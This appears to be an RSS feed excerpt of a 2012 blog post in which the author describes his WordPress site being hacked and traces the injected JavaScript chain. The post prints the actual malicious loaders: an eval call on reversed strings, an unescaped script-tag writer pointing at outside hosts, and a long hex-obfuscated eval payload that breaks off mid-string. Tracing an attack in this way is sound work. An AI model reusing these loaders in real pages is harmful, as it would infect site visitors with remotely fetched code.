<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/2oXYbn2JlOw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/11/validate-a-property-against-a-parent-collection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/11/validate-a-property-against-a-parent-collection/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=validate-a-property-against-a-parent-collection</feedburner:origLink></item>
		<item>
		<title>Getting hacked and seven levels of indirection</title>
		<link>http://feedproxy.google.com/~r/ElegantCode/~3/_vIjiaErp80/</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this [...]]]></description>
			<content:encoded><![CDATA[<p>OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>
<p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>
<p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>
</p></div>
</div>
<p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>
</p></div>
</div>
<p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p>
<p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4f\x6b\x52\x6c\x25\x33\x41\x6d\x36\x54\x61\x69\x6c\x63\x5a\x6e\x46\x51\x4f\x2e\x54\x65\x69\x31\x4d\x69\x31\x4a\x63\x47\x59\x4c\x6b\x66\x6c\x2e\x67\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x57\x55\x61\x34\x4e\x6c\x4d\x5a\x6b\x51\x4f\x43\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x32\x25\x32\x42\x57\x50\x47\x54\x6b\x25\x32\x38\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x67\x68\x61\x56\x4c\x6e\x25\x32\x30\x30\x25\x32\x30\x51\x6a\x4b\x5f\x57\x51\x6b\x63\x61\x71\x5f\x5a\x65\x63\x61\x62\x25\x32\x30\x6d\x25\x32\x30\x25\x32\x37\x2e\x4c\x52\x68\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x55\x57\x6b\x68\x55\x25\x32\x30\x61\x51\x69\x5f\x42\x6b\x67\x68\x62\x6b\x5f\x6c\x71\x68\x25\x32\x30\x6f\x25\x32\x30\x4c\x55\x64\x5f\x51\x6c\x66\x4f\x55\x6a\x5f\x57\x69\x43\x62\x4a\x73\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x5a\x64\x5a\x55\x61\x25\x32\x30\x30\x25\x32\x30\x25\x32\x37\x2e\x5a\x48\x69\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x44\x71\x4f\x58\x6b\x65\x6c\x65\x25\x32\x30\x41\x52\x49\x5f\x47\x54\x47\x52\x6a\x61\x25\x32\x46\x49\x68\x51\x54\x56\x25\x32\x38\x51\x6e\x44\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x71\x52\x6e\x25\x32\x30\x66\x57\x69\x5a\x69\x49\x25\x32\x30\x6f\x25\x32\x30\x46\x66\x53\x71\x63\x48\x64\x6a\x2e\x4a\x69\x43\x57\x55\x5a\x38\x68\x62\x64\x56\x6d\x70\x25\x32\x38\x25\x32\x37\x4d\x48\x54\x52\x63\x61\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x49\x68\x51\x54\x56\x2e\x51\x6e\x44\x25\x32\x30\x37\x25\x32\x30\x6a\x6e\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x59\x59\x69\x50\x53\x47\x68\x4a\x6f\x70\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x65\x5a\x55\x63\x61\x52\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x4b\x48\x69\x51\x69\x55\x2e\x56\x6a\x6f\x53\x56\x2e\x42\x65\x54\x6b\x63\x57\x76\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x5a\x6d\x68\x4d\x50\x47\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x56\x6e\x51\x50\x55\x2e\x69\x61\x70\x4a\x61\x2e\x4e\x56\x69\x63\x66\x65\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x7a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x54\x43\x64\x55\x2e\x6f\x6a\x62\x62\x55\x2e\x57\x52\x42\x5a\x4a\x69\x58\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x78\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x45\x65\x68\x4b\x56\x50\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x4f\x6a\x65\x61\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x66\x57\x69\x5a\x69\x49\x2e\x55\x56\x70\x62\x61\x2e\x6d\x4c\x54\x6a\x4f\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x59\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x47\x6d\x52\x69\x62\x2e\x6a\x6b\x78\x68\x49\x2e\x4a\x47\x5a\x57\x64\x6a\x25\x32\x30\x70\x25\x32\x30\x25\x32\x37\x71\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x4c\x6b\x53\x6e\x4f\x25\x32\x30\x64\x57\x6e\x58\x64\x56\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x65\x71\x52\x45\x56\x5a\x65\x6a\x25\x32\x30\x25\x33\x44\x38\x43\x5f\x53\x59\x56\x25\x32\x46\x70\x46\x4e\x54\x6e\x66\x67\x6b\x25\x32\x38\x72\x6e\x47\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x58\x43\x69\x25\x32\x30\x69\x59\x68\x4c\x66\x6a\x25\x32\x30\x74\x25\x32\x30\x55\x4d\x59\x56\x68\x56\x6a\x71\x2e\x54\x69\x64\x57\x58\x47\x74\x63\x55\x69\x55\x51\x6a\x25\x32\x38\x25\x32\x37\x69\x4a\x69\x47\x6c\x55\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x54\x6e\x66\x67\x6b\x2e\x73\x75\x54\x47\x25\x32\x30\x6f\x25\x32\x30\x25\x32\x37\x6b\x55\x74\x6a\x6f\x5a\x51\x63\x52\x51\x59\x53\x64\x67\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x70\x54\x69\x68\x6c\x58\x2e\x55\x54\x54\x25\x32\x30\x32\x25\x32\x30\x6f\x68\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x55\x61\x6c\x50\x6a\x25\x32\x30\x54\x58\x69\x65\x6d\x6b\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x63\x55\x57\x4e\x43\x35\x25\x32\x46\x52\x70\x51\x4d\x56\x6d\x72\x56\x6a\x73\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x25\x32\x30\x25\x32\x38\x59\x4b\x65\x54\x6b\x6d\x2e\x41\x43\x42\x31\x6b\x52\x6c\x35\x5a\x68\x71\x62\x6a\x6b\x25\x32\x39\x25\x32\x30\x71\x61\x58\x57\x54\x65\x25\x32\x30\x64\x61\x6d\x25\x32\x30\x5a\x59\x64\x4b\x66\x55\x2e\x54\x30\x47\x25\x32\x46\x70\x71\x67\x49\x64\x6d\x59